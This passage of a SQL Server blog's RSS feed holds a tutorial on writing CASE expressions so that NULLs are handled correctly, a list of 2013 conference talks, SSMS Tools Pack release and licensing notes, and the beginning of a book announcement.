<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:copyright="http://blogs.law.harvard.edu/tech/rss" xmlns:image="http://purl.org/rss/1.0/modules/image/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
    <channel>
        <title>I want some Moore</title>
        <link>http://weblogs.sqlteam.com/mladenp/Default.aspx</link>
        <description>Blog about stuff and things and stuff.  Mostly about SQL server and .Net</description>
        <language>en-US</language>
        <copyright>Mladen Prajdić</copyright>
        <generator>Subtext Version 2.5.1.0</generator>
        <image><link>http://creativecommons.org/licenses/by/3.0/</link><url>http://creativecommons.org/images/public/somerights20.gif</url><title>Some Rights Reserved</title></image>
        <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/mladenp" /><feedburner:info uri="mladenp" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license><feedburner:emailServiceId>mladenp</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
            <title>SQL Server: Writing CASE expressions properly when NULLs are involved</title>
            <category>Back to Basics</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/arWmLx07_WM/sql-server-writing-case-expressions-properly-when-nulls-are-involved.aspx</link>
            <description>&lt;p&gt;We’ve all written a CASE expression (yes, it’s an expression and not a statement) or two every now and then. But did you know there are actually 2 formats you can write the CASE expression in? This actually bit me when I was trying to add some new functionality to an old stored procedure. In some rare cases the stored procedure just didn’t work correctly. After a quick look it turned out to be a CASE expression problem when dealing with NULLS. &lt;/p&gt;  &lt;p&gt;In the first format we make simple “equals to” comparisons to a value:&lt;/p&gt;  &lt;div id="codeSnippetWrapper"&gt;   &lt;pre id="codeSnippet" style="border-top-style: none; overflow: visible; font-size: 8pt; border-left-style: none; font-family: 'Courier New', courier, monospace; border-bottom-style: none; color: black; padding-bottom: 0px; direction: ltr; text-align: left; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; line-height: 12pt; padding-right: 0px; width: 100%; background-color: #f4f4f4"&gt;&lt;p&gt;&lt;span style="color: #0000ff"&gt;SELECT&lt;/span&gt; &lt;span style="color: #0000ff"&gt;CASE&lt;/span&gt; &amp;lt;value&amp;gt; &lt;br /&gt;            &lt;span style="color: #0000ff"&gt;WHEN &lt;font color="#000000"&gt;&amp;lt;equals this value&amp;gt;&lt;/font&gt; &lt;/span&gt;&lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &amp;lt;return this&amp;gt; &lt;/p&gt;&lt;p&gt;            &lt;span style="color: #0000ff"&gt;WHEN&lt;/span&gt; &amp;lt;equals this value&amp;gt; &lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &amp;lt;return this&amp;gt; &lt;br /&gt;            &lt;span style="color: #008000"&gt;-- ... more WHEN's here&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: #0000ff"&gt;ELSE&lt;/span&gt; &amp;lt;return this&amp;gt;  &lt;br /&gt;       &lt;span style="color: #0000ff"&gt;END&lt;/span&gt; &lt;/p&gt;&lt;/pre&gt;

  &lt;br /&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Second format is much more flexible since it allows for complex conditions. USE THIS ONE!&lt;/strong&gt;&lt;/p&gt;

&lt;div id="codeSnippetWrapper"&gt;
  &lt;pre id="codeSnippet" style="border-top-style: none; overflow: visible; font-size: 8pt; border-left-style: none; font-family: 'Courier New', courier, monospace; border-bottom-style: none; color: black; padding-bottom: 0px; direction: ltr; text-align: left; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; line-height: 12pt; padding-right: 0px; width: 100%; background-color: #f4f4f4"&gt;&lt;span style="color: #0000ff"&gt;SELECT&lt;/span&gt;  &lt;span style="color: #0000ff"&gt;CASE&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: #0000ff"&gt;WHEN&lt;/span&gt; &amp;lt;value&amp;gt; &amp;lt;compared to&amp;gt; &amp;lt;value&amp;gt; &lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &amp;lt;return this&amp;gt; &lt;br /&gt;             &lt;span style="color: #0000ff"&gt;WHEN&lt;/span&gt; &amp;lt;value&amp;gt; &amp;lt;compared to&amp;gt; &amp;lt;value&amp;gt; &lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &amp;lt;return this&amp;gt; &lt;br /&gt;             &lt;span style="color: #008000"&gt;-- ... more WHEN's here&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: #0000ff"&gt;ELSE&lt;/span&gt; &amp;lt;return this&amp;gt; &lt;br /&gt;        &lt;span style="color: #0000ff"&gt;END&lt;/span&gt; &lt;/pre&gt;

  &lt;br /&gt;&lt;/div&gt;

&lt;p&gt;Now that we know both formats and you know which to use (the second one if that hasn’t been clear enough) here’s an example how the first format WILL make your evaluation logic WRONG.&lt;/p&gt;

&lt;p&gt;Run the following code for different values of @i. Just comment out any 2 out of 3 “SELECT @i =” statements.&lt;/p&gt;

&lt;div id="codeSnippetWrapper"&gt;
  &lt;pre id="codeSnippet" style="border-top-style: none; overflow: visible; font-size: 8pt; border-left-style: none; font-family: 'Courier New', courier, monospace; border-bottom-style: none; color: black; padding-bottom: 0px; direction: ltr; text-align: left; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; line-height: 12pt; padding-right: 0px; width: 100%; background-color: #f4f4f4"&gt;&lt;p&gt;&lt;span style="color: #0000ff"&gt;DECLARE&lt;/span&gt; @i &lt;span style="color: #0000ff"&gt;INT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #0000ff"&gt;SELECT&lt;/span&gt;  @i = -1    &lt;span style="color: #008000"&gt;-- first result&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #0000ff"&gt;SELECT&lt;/span&gt;  @i = 55    &lt;span style="color: #008000"&gt;-- second result&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #0000ff"&gt;SELECT&lt;/span&gt;  @i = &lt;span style="color: #0000ff"&gt;NULL&lt;/span&gt;  &lt;span style="color: #008000"&gt;-- third result&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: #008000" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #0000ff"&gt;SELECT&lt;/span&gt;  @i &lt;span style="color: #0000ff"&gt;AS&lt;/span&gt; OriginalValue,&lt;/p&gt;&lt;p&gt;&lt;span style="color: #008000"&gt;        -- first CASE format. DON'T USE THIS!&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: #0000ff"&gt;CASE&lt;/span&gt; @i &lt;br /&gt;            &lt;span style="color: #0000ff"&gt;WHEN&lt;/span&gt; -1 &lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &lt;span style="color: #006080"&gt;'-1'&lt;/span&gt; &lt;br /&gt;            &lt;span style="color: #0000ff"&gt;WHEN&lt;/span&gt; &lt;span style="color: #0000ff"&gt;NULL&lt;/span&gt; &lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &lt;span style="color: #006080"&gt;'We have a NULL!'&lt;/span&gt; &lt;br /&gt;            &lt;span style="color: #0000ff"&gt;ELSE&lt;/span&gt; &lt;span style="color: #006080"&gt;'We landed in ELSE'&lt;/span&gt; &lt;br /&gt;        &lt;span style="color: #0000ff"&gt;END&lt;/span&gt; &lt;span style="color: #0000ff"&gt;AS&lt;/span&gt; DontUseThisCaseFormatValue,        &lt;/p&gt;&lt;p&gt;        &lt;span style="color: #008000"&gt;-- second CASE format. USE THIS!&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: #0000ff"&gt;CASE&lt;/span&gt; &lt;br /&gt;            &lt;span style="color: #0000ff"&gt;WHEN&lt;/span&gt; @i = -1 &lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &lt;span style="color: #006080"&gt;'-1'&lt;/span&gt; &lt;br /&gt;            &lt;span style="color: #0000ff"&gt;WHEN&lt;/span&gt; @i &lt;span style="color: #0000ff"&gt;IS&lt;/span&gt; &lt;span style="color: #0000ff"&gt;NULL&lt;/span&gt; &lt;span style="color: #0000ff"&gt;THEN&lt;/span&gt; &lt;span style="color: #006080"&gt;'We have a NULL!'&lt;/span&gt; &lt;br /&gt;            &lt;span style="color: #0000ff"&gt;ELSE&lt;/span&gt; &lt;span style="color: #006080"&gt;'We landed in ELSE'&lt;/span&gt; &lt;br /&gt;        &lt;span style="color: #0000ff"&gt;END&lt;/span&gt; &lt;span style="color: #0000ff"&gt;AS&lt;/span&gt; UseThisCaseFormatValue &lt;/p&gt;&lt;/pre&gt;

  &lt;br /&gt;&lt;/div&gt;

&lt;p&gt;When the value of @i is –1 everything works as expected, since both formats go into the –1 WHEN branch.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/07b986f3c3f9_11B97/CaseResult1_2.png"&gt;&lt;img title="CaseResult1" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" border="0" alt="CaseResult1" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/07b986f3c3f9_11B97/CaseResult1_thumb.png" width="435" height="43" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When the value of @i is 55 everything again works as expected, since both formats go into the ELSE branch.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/07b986f3c3f9_11B97/CaseResult2_2.png"&gt;&lt;img title="CaseResult2" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" border="0" alt="CaseResult2" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/07b986f3c3f9_11B97/CaseResult2_thumb.png" width="435" height="57" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When the value of @i is &lt;strong&gt;NULL&lt;/strong&gt; the problems become evident. The first format doesn’t go into the WHEN NULL branch because it makes an equality comparison between two NULLs. 

  &lt;br /&gt;Because a NULL is an unknown value: &lt;font color="#ff0000"&gt;&lt;strong&gt;NULL = NULL is false. &lt;/strong&gt;&lt;/font&gt;That is why the first format goes into the ELSE Branch but the second format correctly handles the proper IS NULL comparison.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/07b986f3c3f9_11B97/CaseResult3_4.png"&gt;&lt;img title="CaseResult3" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" border="0" alt="CaseResult3" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/07b986f3c3f9_11B97/CaseResult3_thumb_1.png" width="435" height="43" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;Please use the second more explicit format. Your future self will be very grateful to you when he doesn’t have to discover these kinds of bugs.&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61454.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2013/03/18/sql-server-writing-case-expressions-properly-when-nulls-are-involved.aspx</guid>
            <pubDate>Mon, 18 Mar 2013 20:55:23 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2013/03/18/sql-server-writing-case-expressions-properly-when-nulls-are-involved.aspx#feedback</comments>
            <slash:comments>7</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61454.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61454.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2013/03/18/sql-server-writing-case-expressions-properly-when-nulls-are-involved.aspx</feedburner:origLink></item>
        <item>
            <title>Few events I&amp;rsquo;m speaking at in early 2013</title>
            <category>.Net</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/ve_11oWtvY8/few-events-irsquom-speaking-at-in-early-2013.aspx</link>
            <description>    &lt;p&gt;2013 has started great and the SQL community is already brimming with events. At some of these events you can come say hi. I’ll be glad you do!&lt;/p&gt;  &lt;p&gt;These are the events with dates and locations that I know I’ll be speaking at so far.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;h2&gt;February 16th: &lt;a href="http://www.sqlsaturday.com/198/eventhome.aspx"&gt;SQL Saturday #198 - Vancouver, Canada&lt;/a&gt;&lt;/h2&gt;  &lt;p&gt;&lt;img style="float: left; margin: 0px 15px 0px 0px; display: inline" align="left" src="http://www.sqlsaturday.com/images/sqlsat198_web.png" /&gt;The session I’ll present in Vancouver is &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;SQL Impossible: Restoring/Undeleting a table &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Yes, you read the title right. No, it's not about the usual "one table per partition" and "restore full backup then copy the data over" methods. No, there are no 3rd party tools involved. Just you and your SQL Server. Yes, it's crazy. No, it's not for production purposes. And yes, that's why it's so much fun. Prepare to dive into the world of data pages, log records, deletes, truncates and backups and how it all works together to get your table back from the endless void. Want to know more? Come and see!&lt;/p&gt;  &lt;p&gt;This is an advanced level session where we’ll dive into the internals of data pages, transaction log records and page restores.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;h2&gt;March 8th-9th: &lt;a href="http://www.sqlsaturday.com/194/eventhome.aspx"&gt;SQL Saturday #194 - Exeter, UK&lt;/a&gt;&lt;/h2&gt;  &lt;p&gt;&lt;img style="float: left; margin: 0px 15px 0px 0px; display: inline" align="left" src="http://www.sqlsaturday.com/images/sqlsat194_web.png" /&gt;In Exeter I’ll be presenting twice. &lt;/p&gt;  &lt;p&gt;On the first day I’ll have a full day precon titled:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;From SQL Traces to Extended Events - The next big switch&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;This pre-con will give you insight into both of the current tracing technologies in SQL Server. The old SQL Trace which has served us well over the past 10 or so years is on its way out because the overhead and details it produces are no longer enough to deal with today's loads. The new Extended Events are a new lightweight tracing mechanism built directly into the SQLOS thus giving us information SQL Trace just couldn't. They were designed and built with performance in mind and it shows. The new Extended Events are a new lightweight tracing mechanism built directly into the SQLOS thus giving us information SQL Trace just couldn't. They were designed and built with performance in mind and it shows. Mastering Extended Events requires learning at least one new skill: XML querying.&lt;/p&gt;  &lt;p&gt;The second session I’ll have on Saturday titled:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;SQL Injection from website to SQL Server&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;SQL Injection is still one of the biggest reasons various websites and applications get hacked. The solution as everyone tells us is simple. Use SQL parameters. But is that enough? In this session we'll look at how would an attacker go about using SQL Injection to gain access to your database, see its schema and data, take over the server, upload files and do various other mischief on your domain.&lt;/p&gt;  &lt;p&gt;This is a fun session that always brings out a few laughs in the audience because they didn’t realize what can be done.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;h2&gt;April 23rd-25th: &lt;a href="http://www.ntk.si/"&gt;NTK conference - Bled, Slovenia&lt;/a&gt; (Slovenian website only)&lt;/h2&gt;  &lt;p&gt;&lt;img style="float: left; margin: 0px 15px 0px 0px; display: inline" align="left" src="http://upload.wikimedia.org/wikipedia/commons/thumb/4/4f/Bled_Overview.JPG/300px-Bled_Overview.JPG" /&gt;This is a conference with history. This year marks its 18th year running. &lt;/p&gt;  &lt;p&gt;It’s a relatively large IT conference that focuses on various Microsoft technologies like .Net, Azure, SQL Server, Exchange, Security, etc…&lt;/p&gt;  &lt;p&gt;The main session’s language is Slovenian but this is slowly changing so it’s becoming more interesting for foreign attendees. This year it’s happening in the beautiful town of &lt;a href="http://en.wikipedia.org/wiki/Bled"&gt;&lt;strong&gt;Bled&lt;/strong&gt;&lt;/a&gt; in the Alps. The scenery alone is worth the visit, wouldn’t you agree?&lt;/p&gt;  &lt;p&gt;And this year there are quite a few &lt;a href="http://www.ntk.si/vsebina-in-urnik/predavatelji"&gt;&lt;strong&gt;well known speakers&lt;/strong&gt;&lt;/a&gt; present!&lt;/p&gt;  &lt;p&gt;Session title isn’t known yet.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;h2&gt;May 2nd-4th: &lt;a href="http://www.sqlbits.com/"&gt;SQL Bits XI – Nottingham, UK&lt;/a&gt;&lt;/h2&gt;          &lt;p&gt;&lt;img style="float: left; margin: 0px 15px 0px 0px; display: inline" align="left" src="http://www.sqlbits.com/images/sqlbits/SQLBitsLogo.png" width="240" height="81" /&gt;&lt;/p&gt;  &lt;p&gt;SQL Bits is the largest SQL Server conference in Europe. It’s a 3 day conference with top speakers and content all dedicated to SQL Server.&lt;/p&gt;  &lt;p&gt;The session I’ll present here is an hour long version of the precon I’ll give in Exeter.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;From SQL Traces to Extended Events - The next big switch&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The session description is the same as for the Exeter precon but we'll focus more on how the Extended Events work with only a brief overview of old SQL Trace architecture.&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61448.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2013/02/13/few-events-irsquom-speaking-at-in-early-2013.aspx</guid>
            <pubDate>Wed, 13 Feb 2013 00:34:22 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2013/02/13/few-events-irsquom-speaking-at-in-early-2013.aspx#feedback</comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61448.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61448.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2013/02/13/few-events-irsquom-speaking-at-in-early-2013.aspx</feedburner:origLink></item>
        <item>
            <title>SSMS Tools Pack 2.5.3 is out with bug fixes and improved licensing</title>
            <link>http://feedproxy.google.com/~r/mladenp/~3/p53-wpzcMpg/ssms-tools-pack-2-5-3-is-out-with-bug.aspx</link>
            <description>&lt;description&gt;  &lt;p&gt;Licensing for SSMS Tools Pack 2.5 has been quite a hit and I received some awesome feedback.   &lt;br /&gt;The version 2.5.3 contains a few bug fixes and desired licensing improvements.    &lt;br /&gt;Changes include more licensing options, prices in Euros because of book keeping reasons (don't you just love those :))    &lt;br /&gt;and generally easier purchase and licensing process for users.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.ssmstoolspack.com/Licensing"&gt;&lt;strong&gt;Licensing&lt;/strong&gt; &lt;/a&gt;now offers four options: &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Per machine license. (€25)&lt;/strong&gt;    &lt;br /&gt;Perfect if you do all your work from a single machine.    &lt;br /&gt;Plus one OS reinstall activation. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Personal license (€75)&lt;/strong&gt;    &lt;br /&gt;Up to 4 machine activations.    &lt;br /&gt;Plus 2 OS reinstall activations and    &lt;br /&gt;any number of virtual machine activations. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Team license (€240)&lt;/strong&gt;    &lt;br /&gt;Up to 10 machine activations.    &lt;br /&gt;Plus 4 OS reinstall activations and    &lt;br /&gt;any number of virtual machine activations. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Enterprise license (€350+)&lt;/strong&gt;    &lt;br /&gt;For more than 10 machine activations    &lt;br /&gt;any number of virtual machine activations. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;30 days license.&lt;/strong&gt;     &lt;br /&gt;Time based demo license bound to a machine. &lt;/p&gt;  &lt;p&gt;You can view all the details on the &lt;a href="http://www.ssmstoolspack.com/Licensing"&gt;&lt;strong&gt;Licensing page&lt;/strong&gt; &lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;If you want to receive email notifications when new version of SSMS Tools Pack is out you can do that on the &lt;a href="http://www.ssmstoolspack.com/"&gt;&lt;strong&gt;Main page&lt;/strong&gt; &lt;/a&gt;or on the &lt;a href="http://www.ssmstoolspack.com/Download"&gt;&lt;strong&gt;Download page&lt;/strong&gt; &lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;Version 2.7 is expected in the first half of February and won't support SSMS 2005 and 2005 Express anymore.&lt;/p&gt;  &lt;p&gt;Enjoy it!&lt;/p&gt;&lt;/description&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61443.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2012/12/14/ssms-tools-pack-2-5-3-is-out-with-bug.aspx</guid>
            <pubDate>Fri, 14 Dec 2012 12:42:54 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2012/12/14/ssms-tools-pack-2-5-3-is-out-with-bug.aspx#feedback</comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61443.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61443.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2012/12/14/ssms-tools-pack-2-5-3-is-out-with-bug.aspx</feedburner:origLink></item>
        <item>
            <title>SSMS Tools Pack 2.5 is out. Added support for SQL Server 2012.</title>
            <link>http://feedproxy.google.com/~r/mladenp/~3/D_5E6dZwsA0/ssms-tools-pack-2-5-is-out-added-support-for.aspx</link>
            <description>&lt;p&gt;Because I wanted to make SSMS Tools Pack as solid as possible for SSMS 2012 there are no new features only bug fixes and speed improvements. &lt;/p&gt;  &lt;p&gt;I am planning new awesome features for the next version so be on the lookout.&lt;/p&gt;  &lt;p&gt;The biggest change is that &lt;a href="http://www.ssmstoolspack.com/"&gt;&lt;strong&gt;SSMS Tools Pack&lt;/strong&gt;&lt;/a&gt; for SSMS 2012 is no longer free. For previous SSMS versions it is still free.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.ssmstoolspack.com/Licensing"&gt;&lt;strong&gt;Licensing&lt;/strong&gt;&lt;/a&gt; now offers following options:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Per machine license. ($29.99)&lt;/strong&gt;     &lt;br /&gt;Perfect if you do all your work from a single machine.     &lt;br /&gt;This license is valid per major release of SSMS Tools Pack     &lt;br /&gt;(e.g. v2.x, v3.x, v4.x). &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Fully transferable license valid for 3 months. &lt;/strong&gt;&lt;strong&gt;($99.99)&lt;/strong&gt;     &lt;br /&gt;Perfect for work across many machines.     &lt;br /&gt;It's not bound to a machine or an SSMS Tools Pack version. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;30 days license.&lt;/strong&gt;     &lt;br /&gt;Time based demo license bound to a machine. &lt;/p&gt;  &lt;p&gt;You can view all the details on the &lt;a href="http://www.ssmstoolspack.com/Licensing"&gt;&lt;strong&gt;Licensing page&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;If you want to receive email notifications when new version of SSMS Tools Pack is out you can do that on the &lt;a href="http://www.ssmstoolspack.com/"&gt;&lt;strong&gt;Main page&lt;/strong&gt;&lt;/a&gt; or on the &lt;a href="http://www.ssmstoolspack.com/Download"&gt;&lt;strong&gt;Download page&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;This is also the last version to support SSMS 2005 and 2005 Express.&lt;/p&gt;  &lt;p&gt;Enjoy it!&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61438.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2012/09/17/ssms-tools-pack-2-5-is-out-added-support-for.aspx</guid>
            <pubDate>Mon, 17 Sep 2012 19:57:06 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2012/09/17/ssms-tools-pack-2-5-is-out-added-support-for.aspx#feedback</comments>
            <slash:comments>3</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61438.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61438.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2012/09/17/ssms-tools-pack-2-5-is-out-added-support-for.aspx</feedburner:origLink></item>
        <item>
            <title>SSMS Tools Pack 2.1.0 is out. Added support for SQL Server 2012 RC0.</title>
            <category>SSMS Tools Pack</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/-brllXzwgnI/ssms-tools-pack-2-1-0-is-out-added-support.aspx</link>
            <description>&lt;p&gt;This version adds support for SQL Server 2012 RC0 and fixes a few bugs with SQL History.&lt;/p&gt;  &lt;p&gt;Because of the support for regions in SSMS 2012 the regions and debug sections feature has been removed from SSMS Tools Pack for SQL Server 2012.&lt;/p&gt;  &lt;p&gt;The feature is still available for previous SSMS versions.&lt;/p&gt;  &lt;p&gt;In other news &lt;a href="http://www.ssmstoolspack.com/"&gt;&lt;strong&gt;SSMS Tools Pack&lt;/strong&gt;&lt;/a&gt; has won the SQL Magazine bronze award for best free tool of 2011. You can view all the details at the &lt;a href="http://www.sqlmag.com/content1/topic/2011-sql-server-magazine-editors-community-choice-awards-140830/catpath/awards/showprivate/1/page/9"&gt;&lt;strong&gt;SQL Server Magazine Award page&lt;/strong&gt;&lt;/a&gt;.    &lt;br /&gt;    &lt;br /&gt;Thanx to all the people who voted for it. I'm glad you all like it and use it with great success. &lt;/p&gt;  &lt;p&gt;Also I've added a possibility for you to subscribe to email notifications in case the auto-updater doesn't work for you for some reason like being behind a proxy.&lt;/p&gt;  &lt;p&gt;Enjoy it!&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61391.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2011/12/01/ssms-tools-pack-2-1-0-is-out-added-support.aspx</guid>
            <pubDate>Thu, 01 Dec 2011 19:34:18 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2011/12/01/ssms-tools-pack-2-1-0-is-out-added-support.aspx#feedback</comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61391.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61391.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2011/12/01/ssms-tools-pack-2-1-0-is-out-added-support.aspx</feedburner:origLink></item>
        <item>
            <title>SQL Server MVP Deep Dives 2. The Awesome Returns.</title>
            <category>Reviews</category>
            <category>Back to Basics</category>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/Qs6RCNKNXCg/sql-server-mvp-deep-dives-2-the-awesome-returns.aspx</link>
            <description>&lt;p&gt;Two years ago 59 SQL Server MVP's came together and helped make one of the best book on SQL Server out there. Each chapter was written by an MVP about a part of SQL Server they loved working with. This resulted in superb quality content and excellent ratings from the readers. To top it off all earnings went to a good cause, the &lt;a href="http://www.warchild.org"&gt;&lt;strong&gt;War Child International&lt;/strong&gt;&lt;/a&gt; organization. That book was &lt;a href="http://www.manning.com/nielsen/"&gt;&lt;strong&gt;SQL Server MVP Deep Dives&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This year 63 SQL Server MVPs, me included, decided it was time do repeat the success of the first book. &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let me introduce you the:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.manning.com/delaney/"&gt;&lt;strong&gt;&lt;font size="4"&gt;SQL Server MVP Deep Dives 2&lt;/font&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
